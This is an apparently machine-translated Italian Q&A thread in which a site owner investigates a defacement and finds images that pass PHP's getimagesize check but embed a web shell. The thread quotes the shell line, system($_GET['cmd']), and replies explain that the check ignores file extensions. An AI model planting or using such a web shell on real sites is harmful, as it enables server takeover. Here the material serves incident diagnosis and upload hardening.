Ieri il mio sito era compreso. L'attaccante cambia il file index.php nel proprio (con tutti i loro messaggi di gloria e saluta). Ho informato la società di hosting su questo (stiamo correndo su un server dedicato), e da parte mia, sto cercando di sistemare tutto ciò che sembra essere la causa, perché non sono ancora in grado di indicare esattamente come il server è stato attaccato, ma penso di aver trovato alcune scappatoie basate su script che potrebbero essere il colpevole.Il mio sito php è stato violato dai codici caricati come immagine ..?
Il nostro sito ha un modulo per il caricamento di immagini, ma tutte le immagini caricate vengono verificate se sono effettivamente file di immagine e non alcuni codici utilizzando la funzione di php getimagesize. Solo se il tipo di immagine è IMAGETYPE_GIF o IMAGETYPE_JPEG o IMAGETYPE_PNG saranno accettati. Altrimenti, non saranno in grado di caricare il file. Tuttavia ho scoperto che un file immagine caricato contiene uno script php al suo interno! È possibile scaricare l'immagine here. Si tratta di un file immagine valido, ma provare ad aprire l'immagine utilizzando qualsiasi editor di testo e troverete un codice php all'interno di esso:
<?php
echo "<pre>"; system($_GET['cmd']); echo "</pre>";
?>
Ad esempio, l'immagine viene caricato in questa posizione (www.mysite.com/uploads /picodes.jpg). Prendi nota del fatto che il permesso di caricamento delle cartelle è 755. Esiste un modo in cui l'attaccante può eseguire il sistema (o qualsiasi altro comando come il passthru, poiché abbiamo scoperto che un'altra immagine ha lo stesso codice nascosto come sopra, ma invece del sistema , ha il comando passthru), solo per esempio, digitando www.mysite.com/uploads/picodes.jpg?cmd=some command ?? Dalla mia conoscenza non può essere fatto (lo apprezzo davvero se qualcuno può dimostrarmi sbagliato), a meno che l'attaccante non possa rinominare il file jpg in php, e anche questo, questi codici sono nascosti in profondità nell'immagine (vedi l'immagine all'interno text editor per capire cosa sto cercando di dire)
Per precauzioni, ho disabilitato queste funzioni php (exec, passthru, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, shell_exec, system) aggiungendole sul disable_functions in php.ini.
In ogni caso, continuo a pensare che l'hacker possa accedere non tramite web, ma attraverso l'exploit del server, ma penso che la mia società di hosting pensi diversamente.
A seconda della configurazione del tuo server, se il tuo verificatore di immagine non controlla nomi di file, potrebbe essere possibile sfruttarlo, ad esempio se l'autore dell'attacco carica il file con un nome che ha un'estensione '.php', ma questa è una vera domanda per Server Fault. È questo che volevi sapere? –
Grazie per aver risposto david, ma come ho detto sopra, tutti i file caricati vengono controllati per primi; solo se sono file immagine (gif, jpg o png) saranno accettati. Altrimenti verrà scartato. Quindi il caricamento di un file con estensione .php o qualsiasi altro codice raw con qualsiasi estensione sicuramente fallirà. – imin
Bene, hai detto di usare 'getimagesize' per verificare che l'immagine sia un'immagine, ma quella funzione _non controlla l'estensione del file_. Guarda solo il contenuto del file. (Provalo: rinomina 'picodes.jpg' in' picodes.php' e vedi cosa 'getimagesize (" picodes.php ")' ti dà.) Quindi devi anche controllare esplicitamente il nome sotto il quale il file viene caricato, e assicurarsi che corrisponda al tipo di immagine restituito da 'getimagesize'. –